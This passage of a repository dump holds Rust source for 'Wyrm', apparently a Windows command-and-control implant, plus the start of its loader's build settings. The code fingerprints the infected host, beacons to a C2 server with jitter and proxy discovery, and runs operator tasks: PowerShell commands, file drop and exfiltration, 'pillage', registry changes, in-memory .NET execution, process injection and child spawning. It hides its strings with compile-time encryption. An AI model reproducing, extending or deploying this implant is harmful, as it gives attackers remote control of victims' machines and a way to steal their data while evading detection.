    unsafe { WinHttpCloseHandle(h_internet) };\n                    global_free(out_proxy_info.lpszProxyBypass as *mut _);\n                    global_free(out_proxy_info.lpszProxy as *mut _);\n                    return Err(ProxyError::DecodeStringErrorProxy);\n                };\n\n                unsafe { WinHttpCloseHandle(h_internet) };\n                global_free(out_proxy_info.lpszProxyBypass as *mut _);\n                global_free(out_proxy_info.lpszProxy as *mut _);\n\n                let proxy_url = winhttp_proxy_to_url(&proxy_url, target_is_https);\n                return Ok(Some(ProxyConfig {\n                    proxy_url: proxy_url,\n                    proxy_bypass: None,\n                }));\n            }\n        }\n    }\n\n    unsafe { WinHttpCloseHandle(h_internet) };\n    global_free(out_proxy_info.lpszProxyBypass as *mut _);\n    global_free(out_proxy_info.lpszProxy as *mut _);\n    global_free(winhttp_proxy_config.lpszProxyBypass as *mut _);\n    global_free(winhttp_proxy_config.lpszProxy as *mut _);\n    global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _);\n    Ok(None)\n}\n\nfn global_free(p: *mut c_void) {\n    if !p.is_null() {\n        unsafe { GlobalFree(p) };\n    }\n}\n\nfn winhttp_proxy_to_url(raw: &str, target_is_https: bool) -> Option<String> {\n    let raw = raw.trim().trim_matches('\"');\n    if raw.is_empty() {\n        return None;\n    }\n    if raw.eq_ignore_ascii_case(\"DIRECT\") {\n        return None;\n    }\n\n    let mut chosen = None;\n    if raw.contains(\"http=\") || raw.contains(\"https=\") || raw.contains(\"socks=\") {\n        for part in raw.split(';').map(str::trim).filter(|p| !p.is_empty()) {\n            if let Some((k, v)) = part.split_once('=') {\n                let k = k.trim().to_ascii_lowercase();\n                let v = v.trim();\n                if target_is_https && k == \"https\" {\n                    chosen = Some(v);\n                    break;\n                }\n                if !target_is_https && k == \"http\" {\n                    chosen = Some(v);\n                    break;\n                }\n                // fallback\n                if chosen.is_none() && (k == \"http\" || k == \"https\") {\n                    chosen = Some(v);\n                }\n            }\n        }\n    }\n\n    let list = chosen.unwrap_or(raw);\n\n    let first = list\n        .split(';')\n        .map(str::trim)\n        .find(|p| !p.is_empty() && !p.eq_ignore_ascii_case(\"DIRECT\"))?;\n\n    if first.contains(\"://\") {\n        return Some(first.to_string());\n    }\n\n    Some(format!(\"http://{first}\"))\n}\n"
  },
  {
    "path": "implant/src/utils/strings.rs",
    "content": "use std::slice::from_raw_parts;\n\nuse windows_sys::Win32::Foundation::MAX_PATH;\n\n/// Converts a WSTR to a String by the **number of chars** NOT the length in bytes.\n///\n/// # Safety\n/// Pointers should be validated before passing into the function\npub unsafe fn utf_16_to_string_lossy(p_w_str: *const u16, num_chars: usize) -> String {\n    let parts = unsafe { from_raw_parts(p_w_str, num_chars) };\n\n    String::from_utf16_lossy(&parts)\n}\n\n/// Generates a safe system `Global` mutex name given an input string.\n///\n/// **IMPORTANT NOTE**: This function is copied (for convenience) between loader and implant for generating a matching\n/// mutex name (because of nostd and shared library limits [im being lazy]). **THEREFORE** if there is a change to the\n/// logic in this function it **MUST** !!!!!!!!!!!! be reflected in both crates.\npub fn generate_mutex_name(mutex: &str) -> [u8; MAX_PATH as usize] {\n    let mut mtx_name = [0u8; MAX_PATH as usize];\n    let mut cursor: usize = 0;\n    const GLOBAL_PREFIX_STR: &[u8] = br\"Global\\\";\n\n    for b in GLOBAL_PREFIX_STR {\n        mtx_name[cursor] = *b;\n        cursor += 1;\n    }\n\n    // Need to be very careful to check we aren't going to overflow the buffer in a way which wont panic\n    // as a panic will lead to an infinite loop happening in the panic handler.\n    let max_mutex_len = (MAX_PATH as usize)\n        .saturating_sub(GLOBAL_PREFIX_STR.len())\n        .saturating_sub(1);\n    let mutex_bytes = mutex.as_bytes();\n    let copy_len = mutex_bytes.len().min(max_mutex_len);\n\n    // Now safely copy into the buffer\n    mtx_name[cursor..cursor + copy_len].copy_from_slice(&mutex_bytes[..copy_len]);\n    cursor += copy_len;\n\n    // Add a null termiantor\n    if cursor < MAX_PATH as usize {\n        mtx_name[cursor] = 0;\n    };\n\n    mtx_name\n}\n"
  },
  {
    "path": "implant/src/utils/svc_controls.rs",
    "content": "use std::{\n    ffi::c_void,\n    ptr::null_mut,\n    sync::atomic::{AtomicBool, AtomicPtr, Ordering},\n};\n\nuse windows_sys::Win32::{\n    Foundation::ERROR_SUCCESS,\n    System::{\n        Services::{\n            SERVICE_RUNNING, SERVICE_STATUS, SERVICE_STATUS_CURRENT_STATE, SERVICE_STATUS_HANDLE,\n            SERVICE_STOPPED, SERVICE_WIN32_OWN_PROCESS, SetServiceStatus,\n        },\n        Threading::ExitProcess,\n    },\n};\n\nuse crate::entry::IS_IMPLANT_SVC;\n\npub static SERVICE_STOP_EVENT: AtomicBool = AtomicBool::new(false);\npub static SERVICE_HANDLE: AtomicPtr<c_void> = AtomicPtr::new(null_mut());\n\n/// Update the service status in the SCM\npub unsafe fn update_service_status(h_status: SERVICE_STATUS_HANDLE, state: u32) {\n    let mut service_status = SERVICE_STATUS {\n        dwServiceType: SERVICE_WIN32_OWN_PROCESS,\n        dwCurrentState: SERVICE_STATUS_CURRENT_STATE::from(state),\n        dwControlsAccepted: if state == SERVICE_RUNNING { 1 } else { 0 },\n        dwWin32ExitCode: ERROR_SUCCESS,\n        dwServiceSpecificExitCode: 0,\n        dwCheckPoint: 0,\n        dwWaitHint: 0,\n    };\n\n    unsafe {\n        let _ = SetServiceStatus(h_status, &mut service_status);\n    }\n}\n\n/// In the event the implant is built as a service, attempt to cleanly stop the service and\n/// cleanly exit\npub fn stop_svc_and_exit() -> ! {\n    let h_svc = SERVICE_HANDLE.load(Ordering::SeqCst);\n\n    unsafe {\n        if !IS_IMPLANT_SVC.load(Ordering::SeqCst) || h_svc.is_null() {\n            ExitProcess(0);\n        }\n\n        update_service_status(h_svc, SERVICE_STOPPED);\n    }\n\n    unsafe { ExitProcess(0) };\n}\n"
  },
  {
    "path": "implant/src/utils/time_utils.rs",
    "content": "use windows_sys::Win32::System::SystemInformation::GetSystemTimeAsFileTime;\n\npub fn epoch_now() -> i64 {\n    unsafe {\n        let mut ft: u64 = 0;\n        GetSystemTimeAsFileTime(&mut ft as *mut u64 as *mut _);\n        ((ft - 116444736000000000) / 10000000) as i64\n    }\n}\n"
  },
  {
    "path": "implant/src/wofs/mod.rs",
    "content": "use std::{mem::transmute, ptr::null};\n\nuse shared::tasks::WyrmResult;\nuse str_crypter::{decrypt_string, sc};\n\ninclude!(concat!(env!(\"OUT_DIR\"), \"/wof.rs\"));\n\n/// The shape of the WOF\ntype FfiShape = unsafe extern \"C\" fn(*const c_void) -> i32;\n\nfn get_wof_fn_ptr(needle: &str) -> Option<FfiShape> {\n    let wofs = all_wofs();\n\n    for wof in wofs {\n        if wof.0 == needle && !wof.1.is_null() {\n            let f = unsafe { transmute::<_, FfiShape>(wof.1) };\n            return Some(f);\n        }\n    }\n\n    None\n}\n\npub fn call_static_wof_no_arg(fn_name: &str) -> WyrmResult<String> {\n    let Some(f) = get_wof_fn_ptr(fn_name) else {\n        let err = format!(\n            \"{} {fn_name}\",\n            sc!(\"Could not find WOF function\", 175).unwrap()\n        );\n        return WyrmResult::Err(err);\n    };\n\n    unsafe { f(null()) };\n\n    let msg = sc!(\"WOF executed\", 97).unwrap();\n    return WyrmResult::Ok(msg);\n}\n\npub fn call_static_wof_with_arg(fn_name: &str, arg: &str) -> WyrmResult<String> {\n    let Some(f) = get_wof_fn_ptr(fn_name) else {\n        let err = format!(\n            \"{} {fn_name}\",\n            sc!(\"Could not find WOF function\", 175).unwrap()\n        );\n        return WyrmResult::Err(err);\n    };\n\n    unsafe { f(arg.as_ptr() as *const _) };\n\n    let msg = sc!(\"WOF executed\", 97).unwrap();\n    return WyrmResult::Ok(msg);\n}\n"
  },
  {
    "path": "implant/src/wyrm.rs",
    "content": "//! Wyrm represents the state and structure of the implant itself, including any functions\n//! on the implant.\n\nuse std::{\n    collections::VecDeque, ffi::c_void, path::PathBuf, ptr::null_mut, sync::atomic::Ordering,\n};\n\nuse rand::{\n    Rng, SeedableRng, TryRngCore,\n    rngs::{OsRng, SmallRng},\n};\nuse serde::Serialize;\nuse shared::{\n    net::CompletedTasks,\n    tasks::{\n        Command, FirstRunData, InjectInnerForPayload, Task, WyrmResult, tasks_contains_kill_agent,\n    },\n};\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::{\n    Win32::{\n        Foundation::{CloseHandle, ERROR_ALREADY_EXISTS, FALSE, GetLastError, MAX_PATH},\n        NetworkManagement::NetManagement::UNLEN,\n        Storage::FileSystem::GetVolumeInformationW,\n        System::{\n            ProcessStatus::GetModuleFileNameExW,\n            Threading::{\n                CreateMutexA, ExitProcess, ExitThread, GetCurrentProcess, GetCurrentProcessId,\n            },\n            WindowsProgramming::{GetComputerNameW, GetUserNameW, MAX_COMPUTERNAME_LENGTH},\n        },\n    },\n    core::{PCWSTR, PWSTR},\n};\n\nuse crate::{\n    comms::{comms_http_check_in, upload_file_as_stream},\n    entry::{APPLICATION_RUNNING, IS_IMPLANT_SVC},\n    execute::dotnet::execute_dotnet_current_process,\n    native::{\n        accounts::{\n            ProcessIntegrityLevel, get_logged_in_username, get_process_integrity_level, whoami,\n        },\n        filesystem::{\n            MoveCopyAction, PathParseType, change_directory, dir_listing, drop_file_to_disk,\n            move_or_copy_file, pillage, pull_file, rm_from_fs,\n        },\n        processes::{kill_process, running_process_details},\n        registry::{reg_add, reg_del, reg_query},\n        shell::run_powershell,\n    },\n    spawn_inject::{Inject, InjectMethod, Spawn, SpawnMethod},\n    utils::{\n        comptime::translate_build_artifacts, console::print_info, proxy::resolve_web_proxy,\n        strings::generate_mutex_name, svc_controls::stop_svc_and_exit, time_utils::epoch_now,\n    },\n    wofs::call_static_wof_with_arg,\n};\nuse crate::{utils::console::print_failed, wofs::call_static_wof_no_arg};\n\npub struct RetriesBeforeExit {\n    /// The time in seconds to sleep between failed connections on first connection\n    pub failed_first_conn_sleep: u64,\n    pub num_retries: u32,\n}\n\n/// `Wyrm` represents the implant itself.\npub struct Wyrm {\n    /// The unique ID of the implant used to identify itself with the C2\n    pub implant_id: String,\n    /// The name assigned to the payload by the operator on creation, helps identify its type\n    /// in the db.\n    pub agent_name_by_operator: String,\n    pub c2_config: C2Config,\n    pub tasks: VecDeque<Task>,\n    pub completed_tasks: CompletedTasks,\n    pub current_working_directory: PathBuf,\n    pub first_connection_retries: RetriesBeforeExit,\n    #[allow(unused)]\n    mutex: WyrmMutex,\n    spawn_as: String,\n}\n\n/// The C2 configuration settings for the implant; there can be any number of these\n/// configurations, allowing for multiple C2 operations\npub struct C2Config {\n    /// (URL, proxy URL)\n    pub url: (String, Option<String>),\n    pub port: u16,\n    pub api_endpoints: Vec<String>,\n    pub sleep_seconds: u64,\n    pub security_token: String,\n    pub useragent: String,\n    pub jitter: u64,\n}\n\nimpl Wyrm {\n    pub fn new() -> Self {\n        // Translate and encrypt (where relevant) build artifacts into the binary through some\n        // comptime functions\n        let (\n            sleep_seconds,\n            api_endpoints,\n            security_token,\n            useragent,\n            port,\n            url,\n            agent_name_by_operator,\n            jitter,\n            mutex,\n            spawn_as,\n        ) = translate_build_artifacts();\n\n        let mutex = match WyrmMutex::new(&mutex) {\n            Some(m) => m,\n            // TODO is this safe in all circumstances for sideloading?\n            None => unsafe { ExitThread(0) },\n        };\n\n        let mut implant = Self {\n            implant_id: build_implant_id(),\n            c2_config: C2Config {\n                // Proxy resolved below\n                url: (url, None),\n                port,\n                api_endpoints,\n                sleep_seconds,\n                security_token,\n                useragent,\n                jitter,\n            },\n            tasks: VecDeque::new(),\n            completed_tasks: vec![],\n            // Get the current working directory in case the user wants to do some\n            // powershell / other commands which rely on a position on the target\n            // system.\n            current_working_directory: {\n                match std::env::current_dir() {\n                    Ok(d) => d,\n                    Err(_) => PathBuf::new(),\n                }\n            },\n            first_connection_retries: RetriesBeforeExit {\n                failed_first_conn_sleep: 1,\n                num_retries: 3,\n            },\n            agent_name_by_operator,\n            mutex,\n            spawn_as,\n        };\n\n        let px = implant.try_get_proxy();\n        implant.c2_config.url.1 = px;\n\n        implant\n    }\n\n    /// Command the implant to check in with the C2, making no attempt to send data. It will receive tasks from the C2\n    /// and serialise them into the implants own task queue\n    pub fn get_tasks_http(&mut self) {\n        // Make a HTTP request to get any task(s) from the C2.\n        // On failure, we will just return and not add any task to the queue.\n        let tasks = match comms_http_check_in(self) {\n            Ok(task) => task,\n            Err(e) => {\n                #[cfg(debug_assertions)]\n                print_failed(format!(\"Error checking in with the C2. {e}\"));\n                return;\n            }\n        };\n\n        for task in tasks {\n            self.tasks.push_back(task);\n        }\n    }\n\n    pub fn dispatch_tasks(&mut self) {\n        if self.tasks.is_empty() {\n            return;\n        }\n\n        // Check if the task contains the KillAgent command, if so, we just\n        // outright kill it.\n        if tasks_contains_kill_agent(&self.tasks) {\n            // Killing the agent currently only supports killing the whole process.\n            // If this was injected into another process, this will kill the host.\n            // Threading injection support to be added in the future.\n\n            if IS_IMPLANT_SVC.load(Ordering::SeqCst) {\n                stop_svc_and_exit()\n            }\n\n            unsafe { ExitProcess(0) };\n        }\n\n        //\n        // Main command dispatcher\n        //\n        while let Some(task) = self.tasks.pop_front() {\n            match task.command {\n                Command::Sleep => {\n                    // In the case of a sleep, its possible it will be in the task queue\n                    // as a left over artifact somewhere. If that is the case and the queue is not\n                    // empty, `continue` will continue us onto the next command to be processed,\n                    // otherwise it will end the loop, and then enter the sleep period.\n                    self.update_sleep_time(task.metadata);\n                    continue;\n                }\n                Command::Ps => {\n                    self.push_completed_task(&task, running_process_details());\n                }\n                Command::GetUsername => {\n                    self.push_completed_task(&task, get_logged_in_username());\n                }\n                Command::Pillage => {\n                    self.push_completed_task(&task, pillage());\n                }\n                Command::UpdateSleepTime => {\n                    self.update_implant_sleep_time(task);\n                }\n                Command::Undefined => todo!(),\n                Command::Pwd => {\n                    let cwd = self\n                        .current_working_directory\n                        .clone()\n                        .into_os_string()\n                        .into_string()\n                        .unwrap_or_default();\n                    self.push_completed_task(&task, Some(cwd));\n                }\n                Command::AgentsFirstSessionBeacon => self.conduct_first_run_recon(),\n                Command::Cd => {\n                    let res = change_directory(self, &task.metadata);\n                    self.push_completed_task(&task, res);\n                }\n                Command::KillAgent => {\n                    // TODO handle KA for thread vs process exit here..\n                    APPLICATION_RUNNING.store(false, core::sync::atomic::Ordering::SeqCst);\n                    unsafe { ExitProcess(0) };\n                }\n                Command::Ls => {\n                    let res = dir_listing(&self.current_working_directory);\n                    self.push_completed_task(&task, res);\n                }\n                Command::Run => {\n                    let ps_output = run_powershell(&task.metadata, self);\n                    self.push_completed_task(&task, ps_output);\n                }\n                Command::KillProcess => self.push_completed_task(&task, kill_process(&task)),\n                Command::Drop => {\n                    let f = drop_file_to_disk(&task.metadata, self);\n                    self.push_completed_task(&task, f)\n                }\n                Command::Copy => {\n                    // If the inner is Some (i.e. we sent the data from the client, then we gucci)\n                    if let Some(inner) = &task.metadata {\n                        let r = move_or_copy_file(self, inner, MoveCopyAction::Copy);\n                        self.push_completed_task(&task, r);\n                        continue;\n                    }\n                    // otherwise, complete the task but return an error\n                    self.push_completed_task(\n                        &task,\n                        Some(WyrmResult::Err::<String>(\"Bad request\".to_string())),\n                    );\n                }\n                Command::Move => {\n                    // If the inner is Some (i.e. we sent the data from the client, then we gucci)\n                    if let Some(inner) = &task.metadata {\n                        let r = move_or_copy_file(self, inner, MoveCopyAction::Move);\n                        self.push_completed_task(&task, r);\n                        continue;\n                    }\n                    // otherwise, complete the task but return an error\n                    self.push_completed_task(\n                        &task,\n                        Some(WyrmResult::Err::<String>(\"Bad request\".to_string())),\n                    );\n                }\n                Command::RmFile => {\n                    if let Some(inner) = &task.metadata {\n                        let r = rm_from_fs(self, inner, PathParseType::File);\n                        self.push_completed_task(&task, r);\n                        continue;\n                    } else {\n                        self.push_completed_task(\n                            &task,\n                            Some(WyrmResult::Err::<String>(\"Bad request\".to_string())),\n                        );\n                    }\n                }\n                Command::RmDir => {\n                    if let Some(inner) = &task.metadata {\n                        let r = rm_from_fs(self, inner, PathParseType::Directory);\n                        self.push_completed_task(&task, r);\n                        continue;\n                    } else {\n                        self.push_completed_task(\n                            &task,\n                            Some(WyrmResult::Err::<String>(\"Bad request\".to_string())),\n                        );\n                    }\n                }\n                Command::Pull => {\n                    if let Some(file_path) = &task.metadata {\n                        match pull_file(&file_path, &self.current_working_directory) {\n                            WyrmResult::Ok(res) => {\n                                // Here we have the happy return path from the function which contains the\n                                // bytes serialised as a string, we just need to pass the result into the\n                                // completed task queue\n                                upload_file_as_stream(&self, &res);\n                                self.push_completed_task(&task, Some(res));\n                            }\n                            WyrmResult::Err(e) => {\n                                self.push_completed_task(&task, Some(e));\n                            }\n                        }\n                    } else {\n                        // We didn't receive the metadata, so return a bad request message\n                        self.push_completed_task(\n                            &task,\n                            Some(WyrmResult::Err::<String>(\"Bad request.\".into())),\n                        );\n                    }\n                }\n                Command::RegQuery => {\n                    let result = reg_query(&task.metadata);\n                    self.push_completed_task(&task, result);\n                }\n                Command::RegAdd => {\n                    let result = reg_add(&task.metadata);\n                    self.push_completed_task(&task, result);\n                }\n                Command::RegDelete => {\n                    let result = reg_del(&task.metadata);\n                    self.push_completed_task(&task, result);\n                }\n                Command::DotEx => {\n                    let result = Some(execute_dotnet_current_process(&task.metadata));\n                    self.push_completed_task(&task, result);\n                }\n                Command::ConsoleMessages => (),\n                Command::WhoAmI => {\n                    let result = whoami();\n                    self.push_completed_task(&task, result);\n                }\n                Command::Spawn => {\n                    let Ok(buf) = serde_json::from_str::<Vec<u8>>(task.metadata.as_ref().unwrap())\n                    else {\n                        let msg = sc!(\"Failed to deserialise buffer for spawn\", 97).unwrap();\n                        print_failed(msg);\n                        self.push_completed_task::<String>(&task, None);\n\n                        continue;\n                    };\n\n                    Spawn::spawn_child(buf, SpawnMethod::EarlyCascade, &self.spawn_as);\n                }\n                Command::StaticWof => {\n                    let Some(metadata) = &task.metadata else {\n                        let msg = sc!(\"No metadata found.\", 97).unwrap();\n                        print_failed(msg);\n                        self.push_completed_task::<String>(&task, None);\n\n                        continue;\n                    };\n\n                    let Ok(metadata_deser) = serde_json::from_str::<Vec<String>>(metadata) else {\n                        let msg =\n                            sc!(\"Could not deserialise metadata for running the WOF.\", 97).unwrap();\n                        print_failed(msg);\n                        self.push_completed_task::<String>(&task, None);\n\n                        continue;\n                    };\n\n                    let result = if metadata_deser.len() == 1 {\n                        call_static_wof_no_arg(&metadata_deser[0])\n                    } else {\n                        call_static_wof_with_arg(&metadata_deser[0], &metadata_deser[1])\n                    };\n\n                    self.push_completed_task(&task, Some(result));\n                }\n                Command::Inject => {\n                    let Some(Ok(metadata)) = task.deserialise_metadata::<InjectInnerForPayload>()\n                    else {\n                        let msg = sc!(\"Could not parse metadata for inject.\", 97).unwrap();\n                        print_failed(&msg);\n                        self.push_completed_task::<WyrmResult<String>>(\n                            &task,\n                            Some(WyrmResult::Err(msg)),\n                        );\n                        continue;\n                    };\n\n                    let result = Inject::inject_wyrm(\n                        &metadata.payload_bytes,\n                        InjectMethod::Virgin,\n                        metadata.pid,\n                    );\n\n                    self.push_completed_task(&task, Some(result));\n                }\n            }\n        }\n    }\n\n    /// Updates the sleep time on the agent.\n    fn update_sleep_time(&mut self, time_as_string: Option<String>) {\n        let time: u64 = match time_as_string {\n            Some(time_string) => match time_string.parse() {\n                Ok(t) => t,\n                Err(e) => {\n                    #[cfg(debug_assertions)]\n                    print_failed(format!(\"Could not deserialise sleep time to u64: {e}\"));\n\n                    return;\n                }\n            },\n            None => return,\n        };\n\n        // At the moment we are only using 1 C2 configuration; hence indexing at zero, but in the future\n        // it is planned to allow multiple C2 configurations to be made on the implant.\n        self.c2_config.sleep_seconds = time;\n        // print_info(format!(\"Sleep set to {time}\"));\n    }\n\n    /// Pushes a completed task to the queue of tasks which have been completed between c2 connections.\n    /// In the event that a task completed unsuccessfully and returned `None`, this function will return\n    /// allowing execution to continue from where it was called.\n    ///\n    /// Otherwise, it will push the task to the completion queue pending upload.\n    ///\n    /// This function will serialise the T to a valid `Json String` via `serde_json`.\n    ///\n    /// # Args\n    /// - `task`: The [`Task`] which is being completed,\n    /// - `data`: An `Option` where the `T` must implement `Serialize`. This will be encoded ready for c2\n    ///   communications\n    /// - `implant`: A mutable reference to the implant so that the completed task queue can be modified.\n    ///\n    /// # Edge case\n    /// In the event the function cannot serialise the data, it will return and nothing will be pushed to the\n    /// queue, possibly resulting in silent failures. A debug print is made in this case, so can be caught\n    /// when running in debug mode.\n    ///\n    /// This shouldn't happen, as `T: Serialize`.\n    pub fn push_completed_task<T>(&mut self, task: &Task, data: Option<T>)\n    where\n        T: Serialize,\n    {\n        let id_bytes = task.id.to_le_bytes();\n        let low = u16::from_le_bytes([id_bytes[0], id_bytes[1]]);\n        let high = u16::from_le_bytes([id_bytes[2], id_bytes[3]]);\n\n        let mut packet = vec![low, high];\n\n        let (low, high) = task.command.to_u16_tuple_le();\n        packet.push(low);\n        packet.push(high);\n\n        //\n        // Finally serialise the completed time; theres probably a better way to write this..\n        //\n        let completed_time_bytes = epoch_now().to_le_bytes();\n        let sec_1 = u16::from_le_bytes([completed_time_bytes[0], completed_time_bytes[1]]);\n        let sec_2 = u16::from_le_bytes([completed_time_bytes[2], completed_time_bytes[3]]);\n        let sec_3 = u16::from_le_bytes([completed_time_bytes[4], completed_time_bytes[5]]);\n        let sec_4 = u16::from_le_bytes([completed_time_bytes[6], completed_time_bytes[7]]);\n\n        packet.push(sec_1);\n        packet.push(sec_2);\n        packet.push(sec_3);\n        packet.push(sec_4);\n\n        //\n        // Write the data into the packet if it exists\n        //\n        if let Some(d) = &data {\n            let data = match serde_json::to_string(&d) {\n                Ok(inner) => inner,\n                Err(e) => {\n                    #[cfg(debug_assertions)]\n                    println!(\n                        \"[-] Error serialising data to be pushed to the completed task queue. {e}\"\n                    );\n\n                    return;\n                }\n            };\n\n            let mut data_bytes: Vec<u16> = data.encode_utf16().collect();\n            packet.append(&mut data_bytes);\n        }\n\n        self.completed_tasks.push(packet);\n    }\n\n    /// Update the implant sleep time across **all** C2 configurations stored in the implant\n    fn update_implant_sleep_time(&mut self, task: Task) {\n        let new_sleep_time = match task.metadata {\n            Some(time_as_string) => match time_as_string.parse::<u64>() {\n                Ok(parsed) => parsed,\n                Err(e) => {\n                    #[cfg(debug_assertions)]\n                    println!(\"[-] Error parsing new sleep time. {e}\");\n                    return;\n                }\n            },\n            None => return,\n        } as u64;\n\n        self.c2_config.sleep_seconds = new_sleep_time;\n    }\n\n    pub fn conduct_first_run_recon(&mut self) {\n        //\n        // Get the additional metadata we want to send up to the C2\n        //\n\n        let pid: u32 = unsafe { GetCurrentProcessId() };\n\n        let process_name = unsafe {\n            let handle = GetCurrentProcess();\n            // NOTE: This is mutable in the Win fn\n            let buf = [0u16; MAX_PATH as _];\n            let len = GetModuleFileNameExW(\n                handle,\n                null_mut(),\n                PWSTR::from(buf.as_ptr() as *mut _),\n                buf.len() as u32,\n            );\n\n            // In the event of an error, we will just send \"unknown\" to the server\n            if len == 0 {\n                #[cfg(debug_assertions)]\n                print_failed(format!(\n                    \"Failed to get module file name. Last error: {}\",\n                    GetLastError()\n                ));\n\n                sc!(\"unknown\", 178).unwrap()\n            } else {\n                String::from_utf16_lossy(&buf)\n            }\n        };\n\n        let first_run = FirstRunData {\n            a: self.current_working_directory.clone(),\n            b: pid,\n            c: process_name,\n            d: self.agent_name_by_operator.clone(),\n            e: self.c2_config.sleep_seconds,\n        };\n\n        let task = Task::from(0, Command::AgentsFirstSessionBeacon, None);\n\n        self.push_completed_task(&task, Some(first_run));\n    }\n\n    pub fn try_get_proxy(&self) -> Option<String> {\n        if let Some(s) = resolve_web_proxy(&self).unwrap_or_default() {\n            s.proxy_url\n        } else {\n            None\n        }\n    }\n}\n\n/// Builds the implant ID, in the form: serial_hostname_username. The serial number associated with the\n/// ID is that of the HDD/SSD so should create a unique fingerprint for each target.\nfn build_implant_id() -> String {\n    // get the serial of the drive\n    let mut buf: u32 = 0;\n    let serial = if unsafe {\n        GetVolumeInformationW(\n            PCWSTR::from(null_mut()),\n            PWSTR::from(null_mut()),\n            0,\n            &mut buf,\n            null_mut(),\n            null_mut(),\n            PWSTR::from(null_mut()),\n            0,\n        )\n    } != 0\n    {\n        format!(\"{buf}\")\n    } else {\n        sc!(\"no_serial\", 176).unwrap()\n    };\n\n    let hostname = get_hostname();\n\n    let username = {\n        // Note: This buffer is not marked mut, but will be mutated through a raw pointer.\n        // We set the length of the buffer via an input len param below.\n        let buf = [0u16; UNLEN as usize];\n        let mut len: u32 = UNLEN;\n        let result = unsafe { GetUserNameW(PWSTR::from(buf.as_ptr() as *mut _), &mut len) };\n\n        if result == 0 || len == 0 {\n            sc!(\"UNKNOWN\", 56).unwrap()\n        } else {\n            String::from_utf16_lossy(&buf[0..len as usize - 1])\n        }\n    };\n\n    let integrity = get_process_integrity_level().unwrap_or(ProcessIntegrityLevel::Unknown);\n\n    let pid = unsafe { GetCurrentProcessId() };\n\n    let epoch_time = epoch_now();\n\n    format!(\"{hostname}|{serial}|{username}|{integrity}|{pid}|{epoch_time}\")\n}\n\npub fn get_hostname() -> String {\n    const LEN: usize = MAX_COMPUTERNAME_LENGTH as usize + 1;\n    let mut buf = vec![0; LEN];\n    let mut size: u32 = LEN as u32;\n\n    if unsafe { GetComputerNameW(PWSTR::from(buf.as_mut_ptr()), &mut size) } != 0 {\n        let slice = &buf[..size as usize];\n        String::from_utf16_lossy(slice)\n    } else {\n        sc!(\"err_username\", 104).unwrap()\n    }\n}\n\npub fn calculate_sleep_seconds(wyrm: &Wyrm) -> u64 {\n    // If no jitter set, or is 0 - sleep normal amount\n    if wyrm.c2_config.jitter == 0 {\n        return wyrm.c2_config.sleep_seconds;\n    }\n\n    // Validate jitter percentage is in bounds\n    if wyrm.c2_config.jitter > 100 || wyrm.c2_config.jitter < 1 {\n        #[cfg(debug_assertions)]\n        print_failed(&format!(\"Invalid jitter %. Got: {}\", wyrm.c2_config.jitter));\n\n        return wyrm.c2_config.sleep_seconds;\n    }\n\n    let base = wyrm.c2_config.sleep_seconds;\n    let jit_percent = wyrm.c2_config.jitter;\n\n    // Calculate the minimum sleep from the jitter percentage\n    // Use checked mul to make sure we don't overflow, if we do, just sleep the\n    // fixed amount set on the agent.\n    let min_sleep = match base.checked_mul(100 - jit_percent) {\n        Some(m) => m / 100,\n        None => {\n            #[cfg(debug_assertions)]\n            print_failed(&format!(\n                \"Int overflow in mul calculating jitter. Base was: {base}\"\n            ));\n\n            return wyrm.c2_config.sleep_seconds;\n        }\n    };\n\n    let mut seed = [0u8; 32];\n    if let Ok(_) = OsRng.try_fill_bytes(&mut seed) {\n        let mut rng = SmallRng::from_seed(seed);\n        rng.random_range(min_sleep..wyrm.c2_config.sleep_seconds)\n    } else {\n        1\n    }\n}\n\nstruct WyrmMutex {\n    handle: *mut c_void,\n}\n\nimpl WyrmMutex {\n    /// Constructs a new [`WyrmMutex`] setting the inner handle if we were successful.\n    ///\n    /// # Returns\n    /// - If the mutex was already set the function will return `None`\n    /// - If the user has not specified a mutex, the function will return `Some(null)`\n    /// - If the user HAS specified a mutex, and the mutex was created successfully, it will return `Some(handle)`\n    ///\n    /// The implication being; a FAIL path will be `None`.\n    fn new(mtx_name: &str) -> Option<Self> {\n        if mtx_name.is_empty() {\n            return Some(Self { handle: null_mut() });\n        }\n\n        // Start off setting this explicitly to null, we can then add a value to it if we successfully create the\n        // mutex.\n\n        let mut mtx_name = generate_mutex_name(mtx_name);\n\n        let handle = unsafe { CreateMutexA(null_mut(), FALSE, mtx_name.as_ptr() as *const u8) };\n        let last_error = unsafe { GetLastError() };\n\n        let wyrm_mutex = Self { handle };\n\n        //\n        // Check whether the mutex already exists on the system\n        //\n\n        if last_error == ERROR_ALREADY_EXISTS {\n            #[cfg(debug_assertions)]\n            {\n                print_failed(\"Mutex already exists\");\n            }\n\n            return None;\n        }\n\n        // Error check\n        if handle.is_null() {\n            #[cfg(debug_assertions)]\n            {\n                print_failed(format!(\n                    \"Failed to generate mutex with CreateMutexA. Last error: {last_error:#X}\",\n                ));\n            }\n\n            return Some(wyrm_mutex);\n        }\n\n        #[cfg(debug_assertions)]\n        {\n            use std::ffi::CStr;\n\n            use crate::utils::console::print_success;\n\n            let s = match CStr::from_bytes_until_nul(&mtx_name) {\n                Ok(s) => s,\n                Err(_) => unsafe { CStr::from_ptr(\"Could not parse\\0\".as_ptr() as _) },\n            };\n            print_success(format!(\"Mutex {:?} registered.\", s));\n        }\n\n        Some(wyrm_mutex)\n    }\n}\n\nimpl Drop for WyrmMutex {\n    fn drop(&mut self) {\n        if !self.handle.is_null() {\n            unsafe {\n                let _ = CloseHandle(self.handle);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "loader/.cargo/config.toml",
    "content": "[target.x86_64-pc-windows-msvc]\nrustflags = [\n    \"-Z\", \"location-detail=none\",\n    \"-C\", \"panic=abort\",\n    \"-C\", \"target-feature=+crt-static\",\n    \"-C\", \"link-arg=/MERGE:.rdata=.text\",\n    \"-C\", \"link-arg=/MERGE:.pdata=.text\",\n]"
  },
  {
    "path": "loader/Cargo.toml",
